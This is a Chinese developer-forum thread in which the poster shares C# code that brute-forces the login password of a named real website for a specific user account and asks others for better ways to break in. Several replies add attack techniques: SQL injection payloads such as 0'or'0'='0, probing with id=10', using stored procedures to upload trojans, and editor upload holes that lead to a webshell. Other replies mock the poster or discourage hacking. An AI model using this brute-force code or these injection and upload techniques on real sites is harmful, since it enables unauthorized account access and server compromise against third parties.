破解网站-> 请支招！解决方案

破解网站---> 请支招！！！
我想试试能不能破解网站：
分享一下我的代码，谁有更好方法，不仿提提
下面是我的C# code：
richTextBox1 ===>展示页面内容。
txtURL ===>j 是有于显示密码的。
下面是被攻网站描述：
基本
  该网站有图片： images/login.gif 作为登录按钮！
  用户名的输入控件：<input id='textfield' ...
  密码 的输入控件：<input id='textfield2' ...
登录成功后的行为：
  如果登录成功 会定向到 用户信息页，就没有 登录按钮 了，
--->

C# code

private void txtJD_Click(object sender, EventArgs e){    string JD = @"http://www.gdmec.com?textfield=06100511";// &textfield2=0511    int i=0;    for (int j = 1; j <= 10; j++)    {        int min = (int)(1 * Math.Pow(10, (double)j));        int max = (int)(2 * Math.Pow(10, (double)j));        for (i = min; i < max; i++)        {            WebClient wc = new WebClient();            wc.Encoding = Encoding.UTF8;            string url = JD + "&textfield2=" + i.ToString().Substring(1, j);            string DownStr = wc.DownloadString(url);            txtURL.Text = i.ToString().Substring(1, j);            if (!DownStr.Contains("images/login.gif"))            {                richTextBox1.Text = DownStr;                txtURL.Text = i.ToString().Substring(1, j);                break;            }        }    }    }

我让 此程序运行一个下午都没有找到 用户名：06100511 的密码。
谁知乍回事。
谢谢提点。

[解决办法]
這種事情，，哎哎，不敢
[解决办法]
在url后的是 GET模式。

如果是aspx网站默认的是 POST模式。

它的网站没有做验证码和错误次数限制？
[解决办法]
lz 语言 颜色好丰富啊
[解决办法]

探讨

高手们，你们是怎么破解网站的？
不防说说啊。
我这个方法是不是人什么漏洞啊？
指教一下吧！

[解决办法]
灰常精彩的代码
[解决办法]
SQL 注入有很多种，0'or'0'='0 是其中的一种
还有可以通过url.aspx?id=10这种页面，如果页面对于输入的参数没有严格限定类型，而且sql语句又是通过拼接的方式的，就可以直接注入，注入方法如下
1、在地址栏输入url.aspx?id=10'　加单引号，这时页面会返回错误页面将会暴出使用何种数据库，这一步也是用来检查是否存在注入漏洞的，如果对方关闭了详细错误信息还可以通过url.aspx?id=10 and 1=1等来判断
2、根据对方使用的数据库类型在构造注入的sql语句，如果是sql server，可以这样构造
url.aspx?id=10;sql server的系统存储过程上传木马--　　前提是对方使用sa作为数据库连接用户
其实这些现在都有现成的工具去做

编辑器的上传漏洞　这个就是利用大部分网站使用的富文本编辑器存在的上传漏洞，上传木马文件到服务器上，再通过这些木马控制服务器获得服务器的管理权限，

webshell　就是通过上面的sql注入或上传漏洞，获得了服务器的控件权限，最终拿到服务器的管理账号密码，想随便改网站的内容都可以了
[解决办法]
心思用对地方 。。

[解决办法]
LZ真会扯
[解决办法]
看着你写的代码就知道你有多愚蠢

如果你要做坏人 那么请记住坏人的第一天职业守则：不要把你想害的人当白痴，除非你自己是白痴。

想学破解？很简单。
三个东西学好了，你根本不需要人教：数学建模 编程思想 人类心理学

其他的 别想了
没人会告诉你怎么去破解别人的网站 就算会他们也不会告诉你——除非他跟你一样愚蠢

[解决办法]
破解网站大部分是找漏洞，比如上传的漏洞，可以上传图片(木马)，过滤不严格的就可以使用工具来修改后缀，执行木马得到webshell 其实这些都有工具可以用，不过没有什么意思，还是走正道吧 嘿嘿！
[解决办法]

探讨

破解网站大部分是找漏洞，比如上传的漏洞，可以上传图片(木马)，过滤不严格的就可以使用工具来修改后缀，执行木马得到webshell 其实这些都有工具可以用，不过没有什么意思，还是走正道吧 嘿嘿！

[解决办法]
乌鸦飞过~~~~~ 大家淡定
[解决办法]
lz你这样以后回你贴的人会越来越少。

高手，最起码能以平常心对待不同意见。

横看成岭侧成峰，远近高低各不同。不识庐山真面目，只缘身在此山中。
[解决办法]

[解决办法]
应用程序开发人员花大量的劳动写出程序，结果几个所谓‘黑客’跑来乱整。写程序已够累，对预算不够的公司还要给他们做安全管理。这种事落到谁身上不反感？
[解决办法]
23楼，防火墙提示木马，如何解释

查看更多 下一篇